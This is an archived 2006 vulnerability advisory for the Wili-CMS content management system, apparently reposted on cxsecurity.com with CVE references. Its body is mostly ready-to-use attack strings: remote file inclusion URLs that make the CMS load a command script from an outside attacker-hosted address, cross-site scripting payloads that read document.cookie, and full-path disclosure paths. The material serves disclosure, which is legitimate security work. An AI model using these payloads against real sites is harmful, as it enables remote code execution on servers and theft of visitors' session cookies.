Bug: Wili-CMS Multiple Input Validation Vulnerabilities ( Ascii Version )

Search:
WLB2

Wili-CMS Multiple Input Validation Vulnerabilities

Published
Credit
Risk
2006.09.29
soqor
High
CWE
CVE
Local
Remote
N/A
CVE-2006-4989
CVE-2006-4988
CVE-2006-4987
No
Yes

Hello,,

Wili-CMS Multiple Input Validation Vulnerabilities

Discovered By : HACKERS PAL

Copy rights : HACKERS PAL

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

Remote include

example-view/templates/article.php?globals[content_dir]=http://psevil.go
oglepages.com/cmd.txt?

example-view/templates/root.php?globals[content_dir]=http://psevil.googl
epages.com/cmd.txt?

example-view/templates/dates_list.php?globals[content_dir]=http://psevil
.googlepages.com/cmd.txt?

Xss

http://localhost/vul/wili-cms/relocate.php?<script>alert(document.cookie
);</script>

http://localhost/vul/wili-cms/example-view/inc/print_button.php?globals[
pageid]="><script>alert(document.cookie);</script>

Full path

thumbnail.php?filename=global_variables.php

functions/admin/all.php

functions/admin/init_session.php

functions/all.php

example-view/admin_templates/ any_file.php

and many other Xss and Full path vulnerabilities

#WwW.SoQoR.NeT

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version